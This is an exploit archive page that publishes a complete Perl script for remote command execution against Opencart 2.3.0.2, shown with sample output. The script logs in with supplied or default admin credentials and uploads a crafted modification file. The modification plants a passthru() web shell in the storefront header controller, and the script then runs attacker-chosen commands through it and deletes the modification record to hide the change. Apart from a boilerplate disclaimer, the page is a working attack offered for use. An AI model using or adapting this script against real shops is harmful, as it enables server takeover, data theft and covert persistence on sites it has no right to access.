exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Opencart 2.3.0.2 Pre-Auth Remote Command Execution

Opencart 2.3.0.2 Pre-Auth Remote Command Execution
Posted Sep 12, 2019
Authored by Todor Donev

Opencart version 2.3.0.2 pre-authentication remote command execution exploit.

tags | exploit, remote
SHA-256 | 241c2df2c06d04ed1d46433e033708608f5d3557b99ec80f4c641aa0910f2a98

Opencart 2.3.0.2 Pre-Auth Remote Command Execution

Change Mirror Download
#!/usr/bin/perl -w
#
# Opencart 2.3.0.2 Pre-Auth Remote Command Execution CLI Exploit
#
# Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
#
# # [test@localhost opencart]$ perl opencart_rce.pl http://192.168.1.1/oc2302/
# # [
# # [ Opencart 2.3.0.2 Pre-Auth Remote Command Execution CLI Exploit
# # [ ==============================================================
# # [ Exploit Author: Todor Donev 2019 <todor.donev@gmail.com>
# # [
# # [ Disclaimer:
# # [ This or previous programs are for Educational purpose
# # [ ONLY. Do not use it without permission. The usual
# # [ disclaimer applies, especially the fact that Todor Donev
# # [ is not liable for any damages caused by direct or
# # [ indirect use of the information or functionality provided
# # [ by these programs. The author or any Internet provider
# # [ bears NO responsibility for content or misuse of these
# # [ programs or any derivatives thereof. By using these programs
# # [ you accept the fact that any damage (dataloss, system crash,
# # [ system compromise, etc.) caused by the use of these programs
# # [ are not Todor Donev's responsibility.
# # [
# # [ Use them at your own risk!
# # [
# # [ Initializing the browser
# # [ Authorization..
# # [ Initializing the payload
# # [ Uploading the payload
# # [ Exploiting..
# # [ Cleaning the temp payload file
# # [ ==============================================================
# # uid=48(apache) gid=48(apache) groups=48(apache)
# # [test@localhost opencart]$
# #
#
#
# https://www.owasp.org/index.php/Security_by_Design_Principles
#
#
use strict;
use JSON;
use HTTP::Request;
use HTTP::Request::Common;
use LWP::UserAgent;
use WWW::UserAgent::Random;
use HTTP::CookieJar::LWP;
$| = 1;
my $host = shift || 'https://localhost/'; # Full path url to the store
my $user = shift || 'admin';
my $pass = shift || 'admin';
my $cmd = shift || 'id';
$cmd =~ s/\|/\;/g;
print "[
[ Opencart 2.3.0.2 Pre-Auth Remote Command Execution CLI Exploit
[ ==============================================================
[ Exploit Author: Todor Donev 2019 <todor.donev\@gmail.com>
[
[ Disclaimer:
[ This or previous programs are for Educational purpose
[ ONLY. Do not use it without permission. The usual
[ disclaimer applies, especially the fact that Todor Donev
[ is not liable for any damages caused by direct or
[ indirect use of the information or functionality provided
[ by these programs. The author or any Internet provider
[ bears NO responsibility for content or misuse of these
[ programs or any derivatives thereof. By using these programs
[ you accept the fact that any damage (dataloss, system crash,
[ system compromise, etc.) caused by the use of these programs
[ are not Todor Donev's responsibility.
[
[ Use them at your own risk!
[
";
print "[ e.g. perl $0 https://target/ <username> <password> <command>\n" and exit if ($host !~ m/^http/);
print "[ Initializing the browser\n";
my $user_agent = rand_ua("browsers");
my $jar = HTTP::CookieJar::LWP->new();
my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });
$browser->timeout(90);
$browser->cookie_jar($jar);
$browser->agent($user_agent);
my $target = $host."admin/index.php?route=common/login";
my $request = HTTP::Request->new (POST => $target,[Content_Type => "application/x-www-form-urlencoded",Referer => $host],"username=$user&password=$pass&redirect=$target");
print "[ Authorization..\n";
# $request->authorization_basic('USERNAME', 'PASSWORD');
my $content = $browser->request($request) or die "Exploit Failed: $!";
print "[ 401 Unauthorized!\n" and exit if ($content->code eq '401');
if (defined ($content->header('Location')) && ($content->header('Location') =~ m/token=(.*)/)){
my $token = $1;
my $rce_catch = $host."admin/index.php?route=extension/installer/upload";
print "[ Initializing the payload\n";
my $name;
for (0..18) { $name .= chr( int(rand(25) + 65) ); }
my $filename = $name.".ocmod.xml";
undef $name;

my $payload = '<?xml version="1.0" encoding="utf-8"?>
<modification>
<name><![CDATA['.$filename.']]></name>
<code><![CDATA['.$filename.']]></code>
<version>1.337</version>
<author></author>
<link></link>

<file path="catalog/controller/common/header.php">
<operation>
<search><![CDATA[// For page specific css]]></search>
<add position="before"><![CDATA[ if(isset($this->request->post[\'cmd\'])){
echo "0WNED";
$cmd = ($this->request->post[\'cmd\']);
passthru($cmd);
echo "0WNED";
$this->db->query("DELETE FROM `" . DB_PREFIX . "modification` WHERE `name` LIKE \''.$filename.'\'");
}]]></add>
</operation>
</file>
</modification>
';
open (TEMP, " > $ENV{PWD}/$filename") or die "[ Error: $ENV{PWD}/$filename $!";
flock (TEMP, 2);
truncate (TEMP, 0);
seek (TEMP, 0, 0);
print (TEMP $payload);
close (TEMP);
my $upload_payload = HTTP::Request::Common::POST($rce_catch."&token=".$token, Content_Type => 'form-data', Referer => $target, Content => [ file => ["$ENV{PWD}/$filename"]]);
print "[ Uploading the payload\n";
my $response = $browser->request($upload_payload) or die "[ Exploit Failed: $!";

my $json = JSON->new->pretty;

my $json_object = $json->decode($response->content);

print ("[ Exploit failed! You do not have permission to upload the payload.\n") and exit if ($json_object->{'error'});

print "[ Exploiting..\n";

for my $item( @{$json_object->{step}} ){
my $xml_inst_request = HTTP::Request->new (POST => $item->{url}, [Content_Type => "application/x-www-form-urlencoded", Referer => $host], "path=".$item->{path});
my $xml_inst_response = $browser->request($xml_inst_request) or die "[ Exploit Failed: $!";
print "[ Exploit failed.\n" and exit if ($xml_inst_response->code ne '200');
}
my $refresh_url = $host."admin/index.php?route=extension/modification/refresh&redir_inst=1&token=$token";
my $xml_refresh_request = HTTP::Request->new (GET => $refresh_url,[Content_Type => "application/x-www-form-urlencoded",Referer => $host]);
$browser->request($xml_refresh_request) or die "[ Exploit Failed: $!";
my $exploiting = $host."index.php?route=common/home";
my $exploiting_request = HTTP::Request->new (POST => $exploiting,[Content_Type => "application/x-www-form-urlencoded",Referer => $host],"cmd=$cmd");
my $command_response = $browser->request($exploiting_request) or die "[ Exploit Failed: $!";
print "[ Cleaning the temp payload file\n";
unlink("$ENV{PWD}/$filename") or die "[ Error: $ENV{PWD}/$filename $!";
if (($command_response->as_string() =~ m/0WNED(.*?)0WNED/gs) ne ''){
print "[ ==============================================================\n";
print $1;
} else {
print "[ ==============================================================\n";
print "[ Exploit failed: $cmd: command not found or isn't correct.\n";
}
$browser->request($xml_refresh_request) or die "[ Exploit Failed: $!";
exit;

} else {
print "[ Exploit failed! You are not authorized. Wrong Username/Password.\n";
exit;
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close